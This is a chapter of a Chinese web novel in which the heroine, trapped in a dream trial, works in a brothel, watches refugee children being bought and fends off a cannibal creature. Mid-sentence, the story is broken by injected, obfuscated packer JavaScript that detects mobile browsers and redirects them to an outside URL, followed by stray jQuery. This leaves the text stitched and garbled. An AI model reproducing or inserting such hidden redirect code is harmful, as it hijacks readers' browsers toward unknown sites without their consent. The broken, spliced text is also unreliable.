蔺昭连忙用衣袖扑打头发的火苗,再一看镜子,一个大大的错字缓缓浮现,蔺昭顾不得脑门火辣,想要换个答案继续写,那镜子却褪去色彩,暗淡无光。
她抓着镜子躺在床上,脑海一片混沌,要不死了算了,指不定就能离开七重梦了。
可是她不敢赌,若是放在以前,蔺昭真是天不怕地不怕,但现在,她想到可能被祝安剥离灵体的祝好,还有丑八怪周烔,心中升起一股力量,她要坚持下去,回到浮生界。
至于那抱着猫的少年嘛,蔺昭轻哼一声翻身盖好被子,她都不愿意想了,那叫曲贺舟的少年和她前世记忆的皇子,性格差太多了,差点毁掉她的念想。
“沙沙沙。”奇怪的声音响起,蔺昭仰头看向窗台飞速爬过的耗子,脸色大变。
“我坚持不下去了!”蔺昭崩溃的惨叫声响彻天空,雪稀稀落落地下,连桌上的烛光都少了光彩。
-
这几日倒是少有的好天气,阳光正好连带着白雪都消融了些许,几位厨娘外出采购新鲜的食材,命令蔺昭好好守着厨房,莫让野猫耗子叼了肉吃。
“真是奇怪,这陵边城何时来了这么多难民?现在出去都要结伴同行了,”后厨的小丫鬟一边扇扇子熬着药,一边小声嘀咕,“晓花姐,那炭盆是给竹姑娘准备的,你先放下吧,一会儿会有人管的。”
“无事,我闲着也是闲着,给竹姑娘多加点炭。”顶着黑眼圈的蔺昭从桶里挑出几块不错的木炭往盆里塞,她现在干活很麻利,像是和冯晓花融为一体了。
“哎呀,你少放些炭,这是鸨母的意思,她要冻一冻竹姑娘的硬骨头,”小丫鬟按住蔺昭还要加的手,伸长脖子朝门外看,见外头安静才轻声说,“你不知道吗?竹姑娘不听话,鸨母这几日要好好教训她。”
蔺昭心中紧张,小心地将炭盆放下凑近:“什么不听话,莫非是竹姑娘得罪了哪位公子?”
“当然不是了!”丫鬟撇撇嘴,思来想去还是将传言告诉蔺昭,“大家私底下说,前些夜里竹姑娘的房里传出男人的声音,待鸨母和下人进屋,只见窗户大开,竹姑娘在床上抱着被子衣衫不整,后来叫人来验身,虽说还是清白的,但鸨母气得大病一场,你看我这补药就是熬给鸨母补身子的。”
“可竹姑娘不像这样的人。”蔺昭皱着眉头回答,丫鬟见蔺昭不信,急着跺了跺脚。
“我说的都是真的,若是那人有钱有势,直接备足金银替竹姑娘赎身就是了,可那人却是夜里偷偷来,想来定是个野男人,鸨母怎么问,竹姑娘都不说,鸨母便疑心那野男人是暖春楼的,加上天凉吹了风,一来二去鸨母就病倒了,大家都猜那野男人是不是管事,毕竟楼里权力最大的男人就属他了。”小丫鬟嘀嘀咕咕的,没注意身后冒出来的几名打手。
“额,咳咳咳!”蔺昭惊恐地咳嗽几声,像是被炭灰熏到大骂,“碎嘴,小丫头好好干活,别成天想躲在屋里取暖,赶紧端药给你家主子。”
小丫鬟被蔺昭呵斥,立刻注意到身后来人了,回头看见打手身后的管事,吓白了脸,匆匆行礼跑了。
管事的看起来心情很好,拿着一把空白的折扇扇着寒风,大摇大摆地走到蔺昭面前:“冯晓花,当初是我看走眼了,这后厨让你待着实在屈才,日后你就跟着我到前边做事吧。”
蔺昭立刻慌了,她突然想起财迷小子那夜和她说的话,若是过于高调,日后定要被人死死困在这暖春楼里了:“管事的,这年关快到了,后厨正是缺人的时候,要不等再过几日。”
待写诗的风头过去,她也该通关了。
“后厨缺人?这事用不着你操心,”管事的呵呵一笑,让打手拿出早早备好的衣物和出入令牌递了过来,“晓花,暖春楼的姑娘赏识你,将你的月钱提高了,连带着你柴房里的干儿子,也有了身份,你只要和我一起好好替暖春楼办事,他也能过上好日子。”
下午,蔺昭领着财迷跟在管事的身后,财迷穿着打手同款的衣服一言不发,只是用眼睛瞪着她,似乎在埋怨蔺昭为何要招惹管事,蔺昭尴尬一笑,摆手向对方表示无奈,她若是不答应管事的,财迷又怎么有机会能跟着一块儿外出办事呢?
财迷个子不高身材瘦削,即使穿上略厚的冬装,看起来也弱不禁风,好在他的脸上有疤痕,看起来倒有几分唬人的气势,否则这跟着打手充场面的活都轮不到他。
不多时,一行人便浩浩荡荡地来到陵边城外,这些没有身份的难民住在城外,见到有人出城,急忙围过来求助,人越聚越多。
蔺昭见时机成熟,这才按照管事的吩咐,张嘴吆喝:“排队了,排队了,暖春楼招工,男女皆可,超过二十的勿扰。”
众人一听,赶忙带着族中大小孩子蜂拥而至,你一挤我一推,人群就乱套了,城门守卫看见此处过于闹腾,急忙大声呵斥管事的,打手悄悄塞给守卫一些碎银,他们这才客气点,帮忙拦住不守秩序的难民。
“大爷,你发发慈悲,我们一家老小已经三日未吃过东西了。”
“我的大儿子快不行了,只要给我们一口饭吃,我们什么都能做。”
“哎哟,你孙女的模样还算标志,但我看着不一定能活过这个冬天,我只能出这个数,多一钱都不成。”
“这孩子看着身体还算健康,能吃苦吗?签死契?”
“我这没有伤药,你这半死不活的别靠近我。”管事的和一群人讨价还价,一旁的蔺昭叹了口气,回头看着打手身后新买的孩子,有男有女,年纪都不大,他们因为害怕被厌弃,即使什么都不知道,也不敢哭闹,只能依依不舍地看着亲人。
这些人要么会干脏活累活到死,要么会被鸨母另外培养,蔺昭不忍心看他们迷茫的眼睛,只是低下头看着被雪沾染的鞋尖。
突然,人群中挤出一名蓬头垢面的难民,像是失去意识似的,那人扑来咬住财迷的胳膊,财迷被吓了一跳,慌忙向蔺昭求助,打手也使劲拉拽那难民。
“饿,好饿,我要吃肉,我要吃肉。”那人被拉开了,却不愿意走,用尖利的长指甲死死扯着财迷,竟然将财迷的手腕剌破了,鲜血直流。
蔺昭猛地将一大团雪塞入那人口中,惊得对方呜哇叫,手一松便被守卫拖走了。
“没事吧?这些难民原先只是在城外等陵边城的亲朋接济,可前几日夜里竟有怪人吃了隔壁人家的孩子,那场面吓坏了不少人,现在个个急着进城,生怕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536004|186555||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被疯子吃了。”灰衣服的打手看了一眼蔺昭,安慰道。
“那吃人的疯子可有抓到?”蔺昭眼皮一跳,不知为何有不好的感觉。
“未见到尸体,只听说被乱棍打死了,兴许被其他饿坏的难民砸成了肉泥,做成汤了。”打手憨憨一笑,似乎想要活跃一下紧张的气氛。
周围的孩子听到此话,都一脸惊恐,蔺昭冷冷看了打手一眼,那人红了脸急忙闭上嘴。
原来是怕被吃了,难怪这些人都想着把孩子送进城,蔺昭低头检查财迷被划伤渗血的伤口,脑海中飞速闪过什么,急忙抓起他的手腕细看,心中一跳,
是了,那日七重梦的镜子分明是被财迷的血引动了,莫非那镜子早就沾过财迷的血迹认他为主了?
蔺昭克制住激动的心情,掏出手帕轻轻替财迷包扎:“这手帕你先用着,待回了暖春楼再还我。”
“你何时变得如此贴心了,还随身带着绣花的手帕?”财迷看着有些丑的手帕,冷眼嘲笑。
“这几日小感风寒,这手帕用来擦鼻水……”蔺昭呵呵一笑,财迷听到这话没有回答,只是悄悄将手腕系得紧紧的手帕扯的松一些。
-
深夜,蔺昭在管事的房间整理好这群孩子的名单,才得以脱身。
她悄悄端来一小盆热水,锁好房门,小心翼翼地打湿白天为财迷包扎用的手帕,将化开的血水抹在七重梦镜子上,又是一阵耀眼的光芒,镜面再次出现提示,让蔺昭写答案。
“喜怒忧惧爱憎欲,上次写的忧字是错的。”蔺昭托着下巴,思考片刻,写了一个惧字,七重梦的镜面再度闪过一抹红光,蔺昭一缩脖子举起早已放凉的食盒,见里头的饭菜被红光烤的香甜可口,蔺昭无奈叹气,她又答错了。
突然,蔺昭的窗户外传来异响,她急忙将镜子放平,抄起鞋子警惕道:“该死的老鼠,还敢来?”
话音落下,窗外突然没了动静,蔺昭正欲靠近,却看见窗外缓缓走近一道散发的人影,那人像是将整张脸贴在纸窗上,蔺昭突然觉得头皮发麻,悄悄后退,只见那人影将一只手覆在窗纸上,试图开窗。
蔺昭忍不住暗骂,抄起桌上的水盆就想泼水,突然理智告诉她,这在后厨辛苦烧的热水还要用来洗血手帕,便停了下来。
那人用指尖戳破窗纸,有些笨拙地收回去,蔺昭拿起桌上的筷子,侧身凑近窗边,只见一只紫色的眼睛正死死看着她,蔺昭毫不犹豫地出手,筷子精准刺穿对方的眼睛。
那人怪叫着匆忙向后倒,筷子也被带出窗外,蔺昭急忙收好七重梦镜子和手帕,打开窗要追,不料却看见一群匆匆赶来的打手。
“哎?你们这是抓贼?”蔺昭看着几人都抄着火把和武器,疑惑问。
“不是贼,是吃人的怪物,”打手惊魂未定地回答,“今天楼里带回来的孩子被吃了半个,管事的已经报官了。”
蔺昭大惊,急忙给打手指明怪人逃跑的方向,待众人离开,蔺昭有些不放心地将盘缠从被褥里翻出来,带在身上,这夜黑风高的,暖春楼里危机四伏,她不如到管事房里偷了卖身契带着财迷逃跑。
“不好,财迷有危险。”她忽然想起财迷也算是个孩子。